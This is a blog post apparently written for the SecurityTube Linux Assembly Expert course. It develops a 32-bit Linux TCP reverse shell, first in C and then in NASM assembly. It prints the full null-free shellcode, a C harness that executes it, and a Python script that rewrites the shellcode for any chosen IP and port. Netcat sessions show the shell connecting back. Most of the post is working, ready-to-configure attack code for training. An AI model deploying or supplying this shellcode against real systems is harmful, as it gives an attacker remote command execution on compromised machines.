TCP reverse shellcode
A TCP reverse shell connects back to the attacker machine, then executes a shell and redirects all input & output to the socket. This is especially useful when a firewall denies incoming connections but allows outgoing connections.
C prototype
First, a C prototype is created to test the functionality before building the final shellcode in assembly.
This is the C protype used for the reverse shellcode:
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
int main()
{
// Create addr struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444); // Port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Connection IP
// Create socket
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1) {
perror("Socket creation failed.\n");
exit(EXIT_FAILURE);
}
// Connect socket
if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
perror("Socket connection failed.\n");
close(sock);
exit(EXIT_FAILURE);
}
// Duplicate stdin, stdout, stderr to socket
dup2(sock, 0); //stdin
dup2(sock, 1); //stdout
dup2(sock, 2); //stderr
//Execute shell
execve("/bin/sh", NULL, NULL);
}
Testing the program
Compiling the C prototype:
slemire@slae:~/slae32/assignment2$ gcc -o shell_tcp_reverse_c shell_tcp_reverse.c
shell_tcp_reverse.c: In function ‘main’:
shell_tcp_reverse.c:13:25: warning: implicit declaration of function ‘inet_addr’ [-Wimplicit-function-declaration]
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Connection IP
^
shell_tcp_reverse.c:35:2: warning: null argument where non-null required (argument 2) [-Wnonnull]
execve("/bin/sh", 0, 0);
^
Netcat is used to listen for the reverse shell connection on port 4444:
slemire@slae:~/slae32/assignment2$ ./shell_tcp_reverse_c
[...]
slemire@slae:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52202)
whoami
slemire
Assembly version
Similar to the bind shellcode, we first clear out the registers so there is nothing left in the upper or lower half that could cause problems with the program execution.
; Zero registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
Next, a socket is created and we create the addr struct used to store the IP and port where the shellcode will connect to. In this example, the 127.0.0.1
IP is used with port 4444
. Later, we will use a python script to easily modify the IP address and port in the shellcode so we don’t need to touch the assembly code manually every time we want to make a change. Depending on the IP address used, the shellcode generated might contain null bytes so instead the IP address is XORed with a specific key that won’t result in null bytes in the shellcode.
; Create socket
mov al, 0x66 ; sys_socketcall
mov bl, 0x1 ; SYS_SOCKET
push 0x6 ; int protocol -> IPPROTO_TCP
push 0x1 ; int type -> SOCK_STREAM
push 0x2 ; int domain -> AF_INET
mov ecx, esp
int 0x80 ; sys_socketcall (SYS_SOCKET)
mov edi, eax ; save socket fd
; Create addr struct
mov eax, 0xfeffff80 ; 127.0.0.1 XORed
mov ebx, 0xffffffff ; XOR key (should be changed depending on IP to avoid nulls)
xor eax, ebx ;
push edx ; NULL padding
push edx ; NULL padding
push eax ; sin.addr (127.0.0.1)
push word 0x5c11 ; Port 4444
push word 0x2 ; AF_INET
mov esi, esp
The reverse shellcode is simpler than a bind one since we only need to call connect
and the server will initiate a connection to the attacker machine.
; Connect socket
xor eax, eax
xor ebx, ebx
mov al, 0x66 ; sys_socketcall
mov bl, 0x3 ; SYS_CONNECT
push 0x10 ; socklen_t addrlen
push esi ; const struct sockaddr *addr
push edi ; int sockfd
mov ecx, esp
int 0x80
The same dup2
function that is used with the bind shellcode is used here to redirect input & ouput then execute a shell with execve
. The /bin/bash
string is pushed in reverse order on the stack but since the string needs to be null terminated, we will null out the A
byte at offset ESP + 11
.
; Redirect STDIN, STDOUT, STDERR to socket
xor ecx, ecx
mov cl, 0x3 ; counter for loop (stdin to stderr)
mov ebx, edi ; socket fd
dup2:
mov al, 0x3f ; sys_dup2
dec ecx
int 0x80 ; sys_dup2
inc ecx
loop dup2
; execve()
xor eax, eax
push 0x41687361 ; ///bin/bashA
push 0x622f6e69
push 0x622f2f2f
mov byte [esp + 11], al
mov al, 0xb
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
The final shellcode looks like this:
global _start
section .text
_start:
; Zero registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; Create socket
mov al, 0x66 ; sys_socketcall
mov bl, 0x1 ; SYS_SOCKET
push 0x6 ; int protocol -> IPPROTO_TCP
push 0x1 ; int type -> SOCK_STREAM
push 0x2 ; int domain -> AF_INET
mov ecx, esp
int 0x80 ; sys_socketcall (SYS_SOCKET)
mov edi, eax ; save socket fd
; Create addr struct
mov eax, 0xfeffff80 ; 127.0.0.1 XORed
mov ebx, 0xffffffff ; XOR key (should be changed depending on IP to avoid nulls)
xor eax, ebx ;
push edx ; NULL padding
push edx ; NULL padding
push eax ; sin.addr (127.0.0.1)
push word 0x5c11 ; Port 4444
push word 0x2 ; AF_INET
mov esi, esp
; Connect socket
xor eax, eax
xor ebx, ebx
mov al, 0x66 ; sys_socketcall
mov bl, 0x3 ; SYS_CONNECT
push 0x10 ; socklen_t addrlen
push esi ; const struct sockaddr *addr
push edi ; int sockfd
mov ecx, esp
int 0x80
; Redirect STDIN, STDOUT, STDERR to socket
xor ecx, ecx
mov cl, 0x3 ; counter for loop (stdin to stderr)
mov ebx, edi ; socket fd
dup2:
mov al, 0x3f ; sys_dup2
dec ecx
int 0x80 ; sys_dup2
inc ecx
loop dup2
; execve()
xor eax, eax
push 0x41687361 ; ///bin/bashA
push 0x622f6e69
push 0x622f2f2f
mov byte [esp + 11], al
mov al, 0xb
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
Compiling and testing the NASM generated ELF file
slemire@slae:~/slae32/assignment2$ ../compile.sh shell_tcp_reverse
[+] Assembling with Nasm ...
[+] Linking ...
[+] Shellcode: \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x80\xff\xff\xfe\xbb\xff\xff\xff\xff\x31\xd8\x52\x52\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80
[+] Length: 109
[+] Done!
slemire@slae:~/slae32/assignment2$ file shell_tcp_reverse
shell_tcp_reverse: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
slemire@slae:~/slae32/assignment2$ ./shell_tcp_reverse
[...]
slemire@slae:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52204)
whoami
slemire
The shellcode is then tested with the skeleton program:
#include <stdio.h>
char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x80\xff\xff\xfe\xbb\xff\xff\xff\xff\x31\xd8\x52\x52\x50\x66\x68\x11\x5c\x66
\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x
2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
int (*ret)() = (int(*)())shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
ret();
}
Compiling and testing the shellcode:
slemire@slae:~/slae32/assignment2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment2$ ./shellcode
[...]
slemire@slae:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52212)
whoami
slemire
Python script to modify IP and port
The following python script is used to modify the IP and port in the shellcode. It will automatically XOR the IP address with a key and make sure that the resulting shellcode doesn’t contain any null bytes.
#!/usr/bin/python
import socket
import struct
import sys
shellcode = '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2'
shellcode += '\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01'
shellcode += '\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc7'
shellcode += '\\xb8\\x80\\xff\\xff\\xfe\\xbb\\xff\\xff'
shellcode += '\\xff\\xff\\x31\\xd8\\x52\\x52\\x50\\x66'
shellcode += '\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6'
shellcode += '\\x31\\xc0\\x31\\xdb\\xb0\\x66\\xb3\\x03'
shellcode += '\\x6a\\x10\\x56\\x57\\x89\\xe1\\xcd\\x80'
shellcode += '\\x31\\xc9\\xb1\\x03\\x89\\xfb\\xb0\\x3f'
shellcode += '\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x31\\xc0'
shellcode += '\\x68\\x61\\x73\\x68\\x41\\x68\\x69\\x6e'
shellcode += '\\x2f\\x62\\x68\\x2f\\x2f\\x2f\\x62\\x88'
shellcode += '\\x44\\x24\\x0b\\xb0\\x0b\\x89\\xe3\\x31'
shellcode += '\\xc9\\x31\\xd2\\xcd\\x80'
if len(sys.argv) < 3:
print('Usage: {name} [ip] [port]'.format(name = sys.argv[0]))
exit(1)
ip = sys.argv[1]
port = sys.argv[2]
port_htons = hex(socket.htons(int(port)))
byte1 = port_htons[4:]
if byte1 == '':
byte1 = '0'
byte2 = port_htons[2:4]
ip_bytes = []
xor_bytes = []
ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-2:])
ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-4:-2])
ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-6:-4])
ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][:-6])
for b in range(0, 4):
for k in range(1, 255):
if int(ip_bytes[b], 16) ^ k != 0: # Make sure there is no null byte
ip_bytes[b] = hex(int(ip_bytes[b], 16) ^ k)[2:]
xor_bytes.append(hex(k)[2:])
break
# Replace port
shellcode = shellcode.replace('\\x11\\x5c', '\\x{}\\x{}'.format(byte1, byte2))
# Replace encoded IP
shellcode = shellcode.replace('\\x80\\xff\\xff\\xfe', '\\x{}\\x{}\\x{}\\x{}'.format(ip_bytes[3], ip_bytes[2], ip_bytes[1], ip_bytes[0]))
# Replace XOR key
shellcode = shellcode.replace('\\xff\\xff\\xff\\xff', '\\x{}\\x{}\\x{}\\x{}'.format(xor_bytes[3], xor_bytes[2], xor_bytes[1], xor_bytes[0]))
print('Here\'s the shellcode using IP {ip} and port {port}:'.format(ip = ip, port = port))
print(shellcode)
if '\\x0\\' in shellcode or '\\x00\\' in shellcode:
print('##################################')
print('Warning: Null byte in shellcode!')
print('##################################')
To test, the IP address 172.23.10.37 is used with the port 5555:
slemire@slae:~/slae32/assignment2$ ./prepare.py 172.23.10.37 5555
Here's the shellcode using IP 172.23.10.37 and port 5555:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\xad\x16\xb\x24\xbb\x1\x1\x1\x1\x31\xd8\x52\x52\x50\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80
Finally, the shellcode is tested:
slemire@slae:~/slae32/assignment2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment2$ ./shellcode
[...]
slemire@slae:~$ nc -lvnp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [172.23.10.37] port 5555 [tcp/*] accepted (family 2, sport 58584)
whoami
slemire
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1236
All source files can be found on GitHub at https://github.com/slemire/slae32